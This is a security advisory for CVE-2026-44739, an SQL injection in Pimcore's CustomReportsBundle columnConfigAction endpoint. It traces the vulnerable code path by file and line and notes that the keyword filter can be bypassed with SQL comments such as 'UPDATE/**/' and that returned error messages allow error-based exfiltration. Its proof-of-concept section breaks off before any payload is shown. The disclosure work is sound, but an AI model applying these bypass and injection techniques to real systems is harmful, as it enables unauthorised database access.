CVE-2026-44739

Description

### Summary The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques. ### Affected scope bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative() ### Details * The columnConfigAction endpoint in ``` bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:197 ``` receives a configuration JSON string from the request body. * The configuration is decoded and the first element is extracted in ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:207-208.``` * The Sql adapter is instantiated based on the user-controlled type field in ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:216.``` * The controller calls getColumnsWithMetadata in ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:217```, which in turn calls getColumns in ```bundles/CustomReportsBundle/src/Tool/Adapter/AbstractAdapter.php:47```. * The Sql::getColumns method in``` bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:60``` calls buildQueryString at ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:64.``` * buildQueryString in ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:81``` concatenates various fields from the user-provided * configuration (like sql, from, where) directly into the SQL query string (lines 89, 100, 107). * The constructed SQL string is checked against a weak regex in ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:67```, which can be bypassed using comments __(e.g. UPDATE/**/)__ or by using permitted SELECT statements to exfiltrate data from unauthorized tables. * The query is executed without parameterization using ```$db->fetchAssociative($sql)``` in ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:70.``` * Any resulting database exception is caught in the controller and the error message is returned in the JSON response at ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:234```, enabling error-based exfiltration. ### PoC * Download and install the version Pimcore <=12.3.3 (latest) * Login using Admin account or any account that has reports_config permission * Navigate to custom reports * Capture the request using burp suite and perform SQLi attack as the following 1.
